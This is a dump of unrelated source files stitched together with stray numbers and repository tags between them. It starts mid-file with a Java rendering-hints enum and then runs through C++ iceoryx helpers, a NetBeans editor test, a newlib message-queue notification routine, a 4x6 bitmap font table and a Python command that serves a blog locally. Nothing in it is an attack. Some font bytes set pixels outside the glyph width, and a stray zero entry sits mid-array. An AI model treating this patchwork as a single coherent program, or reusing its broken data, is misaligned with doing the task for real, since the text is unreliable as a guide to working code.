RENDERING_HINTS_DEFAULT.put(RenderingHints.KEY_ALPHA_INTERPOLATION, RenderingHints.VALUE_ALPHA_INTERPOLATION_DEFAULT); RENDERING_HINTS_DEFAULT.put(RenderingHints.KEY_COLOR_RENDERING, RenderingHints.VALUE_COLOR_RENDER_DEFAULT); RENDERING_HINTS_SPEED.put(RenderingHints.KEY_RENDERING, RenderingHints.VALUE_RENDER_SPEED); RENDERING_HINTS_SPEED.put(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_OFF); RENDERING_HINTS_SPEED.put(RenderingHints.KEY_TEXT_ANTIALIASING, RenderingHints.VALUE_TEXT_ANTIALIAS_OFF); RENDERING_HINTS_SPEED.put(RenderingHints.KEY_INTERPOLATION, RenderingHints.VALUE_INTERPOLATION_NEAREST_NEIGHBOR); RENDERING_HINTS_SPEED.put(RenderingHints.KEY_ALPHA_INTERPOLATION, RenderingHints.VALUE_ALPHA_INTERPOLATION_SPEED); RENDERING_HINTS_SPEED.put(RenderingHints.KEY_COLOR_RENDERING, RenderingHints.VALUE_COLOR_RENDER_SPEED); } public void prepare(@Nonnull final Graphics2D g) { switch (this) { case QUALITY: g.setRenderingHints(RENDERING_HINTS_QUALTY); break; case DEFAULT: g.setRenderingHints(RENDERING_HINTS_DEFAULT); break; case SPEED: g.setRenderingHints(RENDERING_HINTS_SPEED); break; default: throw new Error("Unexpected state : " + this.name()); } } }
1,506
560
<gh_stars>100-1000 // Copyright (c) 2021 by Apex.AI Inc. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // SPDX-License-Identifier: Apache-2.0 namespace iox { namespace capro { inline constexpr const char* asStringLiteral(CaproMessageType value) noexcept { switch (value) { case CaproMessageType::NOTYPE: return "CaproMessageType::NOTYPE"; case CaproMessageType::FIND: return "CaproMessageType::FIND"; case CaproMessageType::OFFER: return "CaproMessageType::OFFER"; case CaproMessageType::STOP_OFFER: return "CaproMessageType::STOP_OFFER"; case CaproMessageType::SUB: return "CaproMessageType::SUB"; case CaproMessageType::UNSUB: return "CaproMessageType::UNSUB"; case CaproMessageType::CONNECT: return "CaproMessageType::CONNECT"; case CaproMessageType::DISCONNECT: return "CaproMessageType::DISCONNECT"; case CaproMessageType::ACK: return "CaproMessageType::ACK"; case CaproMessageType::NACK: return "CaproMessageType::NACK"; case CaproMessageType::PUB: return "CaproMessageType::PUB"; case CaproMessageType::REQ: return "CaproMessageType::REQ"; case CaproMessageType::RES: return "CaproMessageType::RES"; case CaproMessageType::PING: return "CaproMessageType::PING"; case CaproMessageType::PONG: return "CaproMessageType::PONG"; case CaproMessageType::MESSGAGE_TYPE_END: return "CaproMessageType::MESSGAGE_TYPE_END"; } return "[Undefined CaproMessageType]"; } inline std::ostream& operator<<(std::ostream& stream, CaproMessageType value) noexcept { stream << asStringLiteral(value); return stream; } inline log::LogStream& operator<<(log::LogStream& stream, CaproMessageType value) noexcept { stream << asStringLiteral(value); return stream; } } // namespace capro } // namespace iox
887
1,962
<reponame>future-daydayup/XLearning<filename>src/main/java/net/qihoo/xlearning/webapp/AMWebApp.java package net.qihoo.xlearning.webapp; import org.apache.hadoop.yarn.webapp.WebApp; public class AMWebApp extends WebApp implements AMParams { @Override public void setup() { route("/", AppController.class); route("/savedmodel", AppController.class, "savedmodel"); } }
139
303
{"id":9424,"line-1":"<NAME>","line-2":"Qatar","attribution":"©2016 Cnes/Spot Image, DigitalGlobe","url":"https://www.google.com/maps/@25.72985,51.373304,16z/data=!3m1!1e3"}
73
1,056
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.modules.editor; import java.net.URL; import java.util.Collection; import javax.swing.JEditorPane; import javax.swing.JPanel; import javax.swing.text.Document; import org.netbeans.junit.NbTestCase; import org.openide.filesystems.FileObject; import org.openide.filesystems.LocalFileSystem; import org.openide.loaders.DataObject; import org.openide.nodes.Node; import org.openide.util.Lookup; import org.openide.util.lookup.Lookups; /** * * @author <NAME> */ public class NbEditorToolBarTest extends NbTestCase { public NbEditorToolBarTest(String testName) { super(testName); } public @Override boolean runInEQ() { return true; } protected @Override void setUp() throws Exception { super.setUp(); clearWorkDir(); EditorTestLookup.setLookup( new URL[] { EditorTestConstants.EDITOR_LAYER_URL, }, new Object[] {}, getClass().getClassLoader() ); } /** * Tests that the action context for the context-aware toolbar actions * is the first Lookup.Provider ancestor. */ public void testActionContextAncestorsLookupProviderIsPreferred() throws Exception { JPanel parent1 = new LookupPanel(Lookups.singleton(new Foo() { })); JPanel parent2 = new LookupPanel(Lookups.singleton(new Bar() { })); parent1.add(parent2); JEditorPane editor = new JEditorPane(); editor.setEditorKit(new NbEditorKit()); parent2.add(editor); DataObject docDataObject = createDataObject(); assertNotNull(docDataObject); editor.getDocument().putProperty(Document.StreamDescriptionProperty, docDataObject); Lookup actionContext = NbEditorToolBar.createActionContext(editor); assertNotNull(actionContext.lookup(Bar.class)); assertNotNull(actionContext.lookup(Node.class)); assertNull(actionContext.lookup(Foo.class)); } /** * Tests that the action context for the context-aware toolbar actions * is the DataObject corresponding to the current document if there is no * Lookup.Provider ancestor. */ public void testActionContextFallbackToDataObject() throws Exception { JPanel parent = new JPanel(); JEditorPane editor = new JEditorPane(); editor.setEditorKit(new NbEditorKit()); parent.add(editor); DataObject docDataObject = createDataObject(); assertNotNull(docDataObject); editor.getDocument().putProperty(Document.StreamDescriptionProperty, docDataObject); Lookup actionContext = NbEditorToolBar.createActionContext(editor); assertNotNull(actionContext.lookup(Node.class)); assertNull(actionContext.lookup(Foo.class)); } /** * Tests that the action context for the context-aware toolbar actions * contains the editor pane if there is no Lookup.Provider ancestor and no DataObject * corresponding to the current document. */ public void testActionContextNullWhenNoDataObject() { JPanel parent = new JPanel(); JEditorPane editor = new JEditorPane(); editor.setEditorKit(new NbEditorKit()); parent.add(editor); Lookup actionContext = NbEditorToolBar.createActionContext(editor); // changed when fixing #127757 //assertNull(actionContext); assertNotNull(actionContext); Collection<?> all = actionContext.lookupAll(Object.class); assertEquals("Expecting singleton Lookup", 1, all.size()); assertSame("Expecting the editor pane", editor, all.iterator().next()); } /** * Tests that the action context for the context-aware toolbar actions * contains the node corresponding to the current document only once, even * though the node is both contained in an ancestor Lookup.Provider and * obtained as the node delegate of the DataObject of the current document. */ public void testActionContextLookupContainsNodeOnlyOnce() throws Exception { DataObject docDataObject = createDataObject(); assertNotNull(docDataObject); JPanel parent = new LookupPanel(Lookups.fixed(new Object[] { new Bar() { }, docDataObject.getNodeDelegate().getLookup() })); JEditorPane editor = new JEditorPane(); editor.setEditorKit(new NbEditorKit()); parent.add(editor); editor.getDocument().putProperty(Document.StreamDescriptionProperty, docDataObject); Lookup actionContext = NbEditorToolBar.createActionContext(editor); assertNotNull(actionContext.lookup(Bar.class)); assertNotNull(actionContext.lookup(Node.class)); assertEquals(1, actionContext.lookup(new Lookup.Template(Node.class)).allInstances().size()); } private DataObject createDataObject() throws Exception { getWorkDir().mkdirs(); LocalFileSystem lfs = new LocalFileSystem(); lfs.setRootDirectory(getWorkDir()); FileObject fo = lfs.getRoot().createData("file", "txt"); return DataObject.find(fo); } private static final class LookupPanel extends JPanel implements Lookup.Provider { private final Lookup lookup; public LookupPanel(Lookup lookup) { this.lookup = lookup; } public Lookup getLookup() { return lookup; } } private static interface Foo { } private static interface Bar { } }
2,198
453
<reponame>The0x539/wasp<filename>libc/newlib/libc/sys/linux/linuxthreads/mq_notify.c<gh_stars>100-1000 /* Copyright 2002, Red Hat Inc. */ #include <mqueue.h> #include <unistd.h> #include <errno.h> #include <sys/ipc.h> #include <sys/sem.h> #include <string.h> #include "internals.h" #include <sys/lock.h> #include "mqlocal.h" static void *mq_notify_process (void *); void __cleanup_mq_notify (struct libc_mq *info) { struct sembuf sb4 = {4, 1, 0}; /* kill notification thread and allow other processes to set a notification */ pthread_cancel ((pthread_t)info->th); semop (info->semid, &sb4, 1); } static void * mq_notify_process (void *arg) { struct libc_mq *info = (struct libc_mq *)arg; struct sembuf sb3[2] = {{3, 0, 0}, {5, 0, 0}}; struct sembuf sb4 = {4, 1, 0}; int rc; /* wait until queue is empty */ while (!(rc = semop (info->semid, sb3, 1)) && errno == EINTR) /* empty */ ; if (!rc) { /* now wait until there are 0 readers and the queue has something in it */ sb3[0].sem_op = -1; while (!(rc = semop (info->semid, sb3, 2)) && errno == EINTR) /* empty */ ; /* restore value since we have not actually performed a read */ sb3[0].sem_op = 1; semop (info->semid, sb3, 1); /* perform desired notification - either run function in this thread or pass signal */ if (!rc) { if (info->sigevent->sigev_notify == SIGEV_SIGNAL) raise (info->sigevent->sigev_signo); else if (info->sigevent->sigev_notify == SIGEV_THREAD) info->sigevent->sigev_notify_function (info->sigevent->sigev_value); /* allow other processes to now mq_notify */ semop (info->semid, &sb4, 1); } } pthread_exit (NULL); } int mq_notify (mqd_t msgid, const struct sigevent *notification) { struct libc_mq *info; struct sembuf sb4 = {4, -1, IPC_NOWAIT}; int rc; pthread_attr_t *attr = NULL; info = __find_mq (msgid); if (info == NULL) { errno = EBADF; return -1; } /* get notification lock */ rc = semop (info->semid, &sb4, 1); if (rc == -1) { errno = EBUSY; return -1; } /* to get the notification running we use a pthread - if the user has requested an action in a pthread, we use the user's attributes when setting up the thread */ info->sigevent = (struct sigevent *)notification; if (info->sigevent->sigev_notify == SIGEV_THREAD) attr = (pthread_attr_t *)info->sigevent->sigev_notify_attributes; rc = pthread_create ((pthread_t *)&info->th, attr, mq_notify_process, (void *)info); if (rc != 0) rc = -1; else info->cleanup_notify = &__cleanup_mq_notify; return rc; }
1,134
651
package com.ncipher.nfast.marshall; public class M_Act implements Marshallable { public static final int NVMemOpPerms = 6; }
41
1,511
<gh_stars>1000+ /* SPDX-License-Identifier: BSD-3-Clause-LBNL */ /* Copyright (c) 2003, The Regents of the University of California, through Lawrence Berkeley National Laboratory (subject to receipt of any required approvals from the U.S. Dept. of Energy). All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: (1) Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. (2) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. (3) Neither the name of the University of California, Lawrence Berkeley National Laboratory, U.S. Dept. of Energy nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. You are under no obligation whatsoever to provide any bug fixes, patches, or upgrades to the features, functionality or performance of the source code ("Enhancements") to anyone; however, if you choose to make your Enhancements available either publicly, or directly to Lawrence Berkeley National Laboratory, without imposing a separate written license agreement for such Enhancements, then you hereby grant the following license: a non-exclusive, royalty-free perpetual license to install, use, modify, prepare derivative works, incorporate into other computer software, distribute, and sublicense such Enhancements or derivative works thereof, in binary and source code form. */ /* ** Fake code so we have something. */ #include <nothing.h> int noop_fun(int arg1) { short retval; recalculatearg(&arg1); switch (arg1) { case 0: if (arg1) { retval = 1; } else { retval = 2; } case 1: retval = 2; case 2: retval = morpharg(arg1); case 3: if (arg1) { retval = 6; } else { retval = 7; } case 4: retval = upscalearg(arg1); default: retval = 0; } return retval; }
878
344
// Copyright 2011-2022, Molecular Matters GmbH <<EMAIL>> // See LICENSE.txt for licensing details (2-clause BSD License: https://opensource.org/licenses/BSD-2-Clause) #pragma once #include "PDB_Macros.h" #include "PDB_DisableWarningsPush.h" #include <cstdio> #include "PDB_DisableWarningsPop.h" PDB_PUSH_WARNING_CLANG PDB_DISABLE_WARNING_CLANG("-Wgnu-zero-variadic-macro-arguments") #define PDB_LOG_ERROR(_format, ...) printf(_format, ##__VA_ARGS__) PDB_POP_WARNING_CLANG
194
482
#include "font4x6.h" PROGMEM const unsigned char font4x6[] = { 4,6,32, //space 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, //! 0b01000000, 0b01000000, 0b01000000, 0b00000000, 0b01000000, 0b00000000, //" 0b10100000, 0b10100000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, //# 0b10100000, 0b11100000, 0b10100000, 0b11100000, 0b10100000, 0b00000000, //$ 0b01000000, 0b01100000, 0b11000000, 0b01100000, 0b11000000, 0b00000000, //% 0b10100000, 0b00100000, 0b01000000, 0b10000000, 0b10100000, 0b00000000, //& 0b00100000, 0b01000000, 0b11000000, 0b10100000, 0b11100000, 0b00000000, //' 0b10000000, 0b10000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, //( 0b01000000, 0b10000000, 0b10000000, 0b10000000, 0b01000000, 0b00000000, //) 0b10000000, 0b01000000, 0b01000000, 0b01000000, 0b10000000, 0b00000000, //* 0b01000000, 0b10100000, 0b01000000, 0b00000000, 0b00000000, 0b00000000, //+ 0b00000000, 0b01000000, 0b11100000, 0b01000000, 0b00000000, 0b00000000, //, 0b00000000, 0b00000000, 0b00000000, 0b10000000, 0b10000000, 0b00000000, //- 0b00000000, 0b00000000, 0b11100000, 0b00000000, 0b00000000, 0b00000000, //. 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b10000000, 0b00000000, // / 0b00100000, 0b00100000, 0b01000000, 0b10000000, 0b10000000, 0b00000000, //0 0b11100000, 0b10100000, 0b10100000, 0b10100000, 0b11100000, 0b00000000, //1 0b01000000, 0b11000000, 0b01000000, 0b01000000, 0b11100000, 0b00000000, //2 0b11100000, 0b00100000, 0b11100000, 0b10000000, 0b11100000, 0b00000000, //3 0b11100000, 0b00100000, 0b11100000, 0b00100000, 0b11100000, 0b00000000, //4 0b10100000, 0b10100000, 0b11100000, 0b00100000, 0b00100000, 0b00000000, //5 0b11100000, 0b10000000, 0b11100000, 0b00100000, 0b11000000, 0b00000000, //6 0b11000000, 0b10000000, 0b11100000, 0b10100000, 0b11100000, 0b00000000, //7 0b11100000, 0b00100000, 0b01000000, 0b10000000, 0b10000000, 0b00000000, //8 0b11100000, 0b10100000, 0b11100000, 0b10100000, 0b11100000, 0b00000000, //9 0b11100000, 0b10100000, 0b11100000, 0b00100000, 0b01100000, 0b00000000, //: 0b00000000, 0b01000000, 0b00000000, 0b01000000, 0b00000000, 0b00000000, //; 0b00000000, 0b01000000, 0b00000000, 0b01000000, 0b10000000, 0b00000000, //< 0b00100000, 0b01000000, 0b10000000, 0b01000000, 0b00100000, 0b00000000, //= 0b00000000, 0b11100000, 0b00000000, 0b11100000, 0b00000000, 0b00000000, //> 0b10000000, 0b01000000, 0b00100000, 0b01000000, 0b10000000, 0b00000000, //? 0b11000000, 0b00100000, 0b01000000, 0b00000000, 0b01000000, 0b00000000, //@ 0b11100000, 0b10100000, 0b10100000, 0b11100000, 0b11100000, 0b00000000, //A 0b11100000, 0b10100000, 0b11100000, 0b10100000, 0b10100000, 0b00000000, //B 0b11000000, 0b10100000, 0b11100000, 0b10100000, 0b11000000, 0b00000000, //C 0b11100000, 0b10000000, 0b10000000, 0b10000000, 0b11100000, 0b00000000, //D 0b11000000, 0b10100000, 0b10100000, 0b10100000, 0b11000000, 0b00000000, //E 0b11100000, 0b10000000, 0b11100000, 0b10000000, 0b11100000, 0b00000000, //F 0b11100000, 0b10000000, 0b11100000, 0b10000000, 0b10000000, 0b00000000, //G 0b11100000, 0b10000000, 0b10000000, 0b10100000, 0b11100000, 0b00000000, //H 0b10100000, 0b10100000, 0b11100000, 0b10100000, 0b10100000, 0b00000000, //I 0b11100000, 0b01000000, 0b01000000, 0b01000000, 0b11100000, 0b00000000, //J 0b00100000, 0b00100000, 0b00100000, 0b10100000, 0b11100000, 0b00000000, //K 0b10000000, 0b10100000, 0b11000000, 0b11000000, 0b10100000, 0b00000000, //L 0b10000000, 0b10000000, 0b10000000, 0b10000000, 0b11100000, 0b00000000, //M 0b10100000, 0b11100000, 0b11100000, 0b10100000, 0b10100000, 0b00000000, //N 0b11000000, 0b10100000, 0b10100000, 0b10100000, 0b10100000, 0b00000000, //O 0b01000000, 0b10100000, 0b10100000, 0b10100000, 0b01000000, 0b00000000, //P 0b11100000, 0b10100000, 0b11100000, 0b10000000, 0b10000000, 0b00000000, //Q 0b01000000, 0b10100000, 0b10100000, 0b11100000, 0b01100110, 0b00000000, //R 0b11100000, 0b10100000, 0b11000000, 0b11100000, 0b10101010, 0b00000000, //S 0b11100000, 0b10000000, 0b11100000, 0b00100000, 0b11100000, 0b00000000, //T 0b11100000, 0b01000000, 0b01000000, 0b01000000, 0b01000000, 0b00000000, //U 0b10100000, 0b10100000, 0b10100000, 0b10100000, 0b11100000, 0b00000000, //V 0b10100000, 0b10100000, 0b10100000, 0b10100000, 0b01000000, 0b00000000, //W 0b10100000, 0b10100000, 0b11100000, 0b11100000, 0b10100010, 0b00000000, //X 0b10100000, 0b10100000, 0b01000000, 0b10100000, 0b10100000, 0b00000000, //Y 0b10100000, 0b10100000, 0b01000000, 0b01000000, 0b01000000, 0b00000000, //Z 0b11100000, 0b00100000, 0b01000000, 0b10000000, 0b11100000, 0b00000000, //[ 0b11000000, 0b10000000, 0b10000000, 0b10000000, 0b11000000, 0b00000000, 0, //for the life of me I have no idea why this is needed.... //\ 0b10000000, 0b10000000, 0b01000000, 0b00100000, 0b00100000, 0b00000000, //] 0b11000000, 0b01000000, 0b01000000, 0b01000000, 0b11000000, 0b00000000, //^ 0b01000000, 0b10100000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, //_ 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b11100000, 0b00000000, //` 0b10000000, 0b01000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, //a 0b00000000, 0b01100000, 0b10100000, 0b10100000, 0b01100000, 0b00000000, //b 0b10000000, 0b10000000, 0b11000000, 0b10100000, 0b11000000, 0b00000000, //c 0b00000000, 0b01100000, 0b10000000, 0b10000000, 0b01100000, 0b00000000, //d 0b00100000, 0b00100000, 0b01100000, 0b10100000, 0b01100000, 0b00000000, //e 0b01000000, 0b10100000, 0b11100000, 0b10000000, 0b01100000, 0b00000000, //f 0b01100000, 0b01000000, 0b11100000, 0b01000000, 0b01000000, 0b00000000, //g 0b01100000, 0b10100000, 0b01100000, 0b00100000, 0b11000000, 0b00000000, //h 0b10000000, 0b10000000, 0b11000000, 0b10100000, 0b10100000, 0b00000000, //i 0b01000000, 0b00000000, 0b01000000, 0b01000000, 0b01000000, 0b00000000, //j 0b01000000, 0b00000000, 0b01000000, 0b01000000, 0b11000000, 0b00000000, //k 0b10000000, 0b10000000, 0b10100000, 0b11000000, 0b10100000, 0b00000000, //l 0b11000000, 0b01000000, 0b01000000, 0b01000000, 0b11100000, 0b00000000, //m 0b00000000, 0b10100000, 0b11100000, 0b10100000, 0b10100000, 0b00000000, //n 0b00000000, 0b11000000, 0b10100000, 0b10100000, 0b10100000, 0b00000000, //o 0b00000000, 0b01000000, 0b10100000, 0b10100000, 0b01000000, 0b00000000, //p 0b00000000, 0b11000000, 0b10100000, 0b11000000, 0b10000000, 0b00000000, //q 0b00000000, 0b01100000, 0b10100000, 0b01100000, 0b00100000, 0b00000000, //r 0b00000000, 0b11000000, 0b10100000, 0b10000000, 0b10000000, 0b00000000, //s 0b00000000, 0b01100000, 0b01000000, 0b00100000, 0b01100000, 0b00000000, //t 0b01000000, 0b11100000, 0b01000000, 0b01000000, 0b01000000, 0b00000000, //u 0b00000000, 0b10100000, 0b10100000, 0b10100000, 0b01100000, 0b00000000, //v 0b00000000, 0b10100000, 0b10100000, 0b10100000, 0b01000000, 0b00000000, //w 0b00000000, 0b10100000, 0b10100000, 0b11100000, 0b10100000, 0b00000000, //x 0b00000000, 0b10100000, 0b01000000, 0b01000000, 0b10100000, 0b00000000, //y 0b00000000, 0b10100000, 0b11100000, 0b00100000, 0b01000000, 0b00000000, //x 0b00000000, 0b11100000, 0b01000000, 0b10000000, 0b11100000, 0b00000000, //{ 0b00100000, 0b01000000, 0b11000000, 0b01000000, 0b00100010, 0b00000000, //| 0b01000000, 0b01000000, 0b00000000, 0b01000000, 0b01000000, 0b00000000, //} 0b10000000, 0b01000000, 0b01100000, 0b01000000, 0b10000000, 0b00000000, //~ 0b00000000, 0b10100000, 0b01000000, 0b00000000, 0b00000000, 0b00000000 };
4,397
427
<gh_stars>100-1000 import os import click from blogger_cli.cli import pass_context from blogger_cli.commands.serve_utils import ( get_free_port, is_port_occupied, serve_locally, ) @click.command("serve", short_help="Serve your blog locally") @click.argument("blog", required=False) @click.option("--port", "-p", "port", type=int, default=get_free_port) @click.option("-d", "--dir", "given_dir", help="Folder path to serve. Default: blog_dir") @click.option("-v", "--verbose", is_flag=True, help="Enable verbosity") @pass_context def cli(ctx, blog, port, given_dir, verbose): ctx.verbose = verbose ctx.vlog("\n:: GOT blog:", blog, "port:", str(port), "(", type(port), ")") blog = resolve_blog(ctx, blog) blog_dir = resolve_blog_dir(ctx, blog, given_dir) check_port_availability(ctx, port) ctx.vlog(":: Got blog_dir:", blog_dir) ctx.log(":: Serving at http://localhost:" + str(port) + "/") ctx.log(":: Exit using CTRL+C") serve_locally(blog_dir, port) def resolve_blog(ctx, blog): if not blog: blog = ctx.default_blog ctx.vlog(":: No blog name given using default blog:", str(blog)) if not blog: ctx.log("Use blogger serve <blogname> or set a default blog in configs") ctx.log("ERROR: Missing required argument 'BLOG' ") raise SystemExit() return blog def resolve_blog_dir(ctx, blog, given_dir): blog_dir = ctx.config.read(key=blog + ":blog_dir") if given_dir: blog_dir = given_dir if not blog_dir: ctx.log("No blog_dir set blog_dir in config or use --dir option") ctx.log("ERROR: No folder specified") raise SystemExit() blog_dir = os.path.abspath(os.path.expanduser(blog_dir)) return blog_dir def check_port_availability(ctx, port): if is_port_occupied(port): ctx.log( " ERROR: The specified port is already in use.\n", "Please select other ports", "or let blogger get one automatically by omitting --port option", ) raise SystemExit()
834